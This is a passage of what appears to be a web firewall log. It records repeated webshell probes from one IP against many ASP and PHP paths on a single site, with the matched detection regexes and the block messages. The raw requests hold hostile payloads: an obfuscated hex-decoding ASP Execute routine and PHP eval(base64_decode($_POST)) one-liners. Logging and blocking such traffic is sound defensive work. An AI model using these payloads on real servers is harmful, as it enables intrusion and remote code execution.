Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/data\/9.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:798\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/9.asp\n\n90=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:43:46","103.149.90.250","POST","\/data\/1.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> a:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/data\/1.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:797\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/1.asp\n\na=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:43:48","103.149.90.250","POST","\/data\/3.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> a:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/data\/3.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:797\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/3.asp\n\na=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:43:51","103.149.90.250","POST","\/data\/2.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> a:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/data\/2.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:797\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/2.asp\n\na=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:43:51","103.149.90.250","POST","\/data\/2.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","60秒以内累计超过6次以上非法请求,封锁360秒","POST \/data\/2.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:797\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/2.asp\n\na=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:49:54","103.149.90.250","POST","\/admin_login.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> omg:@ eval (base64_decode($_POST[z0]));","POST \/admin_login.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:345\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/admin_login.php\n\nz0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7&omg=@ eval (base64_decode($_POST[z0]));"] ["2022-10-21 20:49:59","103.149.90.250","POST","\/images\/swfupload\/images\/uploadye.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> nimabi123:@ eval (base64_decode($_POST[z0]));","POST \/images\/swfupload\/images\/uploadye.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:351\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/images\/swfupload\/images\/uploadye.php\n\nnimabi123=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:50:01","103.149.90.250","POST","\/plus\/bakup.hp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> mb:@ eval (base64_decode($_POST[z0]));","POST \/plus\/bakup.hp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:344\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/plus\/bakup.hp\n\nmb=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:50:02","103.149.90.250","POST","\/plus\/bakup.hp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mb:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/plus\/bakup.hp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:798\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/plus\/bakup.hp\n\nmb=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:50:09","103.149.90.250","POST","\/include\/code\/mp.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> 86:@ eval (base64_decode($_POST[z0]));","POST \/include\/code\/mp.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:344\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/include\/code\/mp.php\n\n86=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:50:09","103.149.90.250","POST","\/book\/story_dod_hjkdsafon.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> D:@ eval (base64_decode($_POST[z0]));","POST \/book\/story_dod_hjkdsafon.php HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:343\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/book\/story_dod_hjkdsafon.php\n\nD=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-21 20:50:10","103.149.90.250","POST","\/data\/s.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sql:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")","POST \/data\/s.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:799\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/s.asp\n\nsql=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-10-21 20:50:10","103.149.90.250","POST","\/data\/s.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","60秒以内累计超过6次以上非法请求,封锁540秒","POST \/data\/s.asp HTTP\/1.1\nhost:www.boyaminge.com\naccept-language:zh-cn\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:799\nuser-agent:Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\nreferer:http:\/\/www.boyaminge.com\/data\/s.asp\n\nsql=Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"]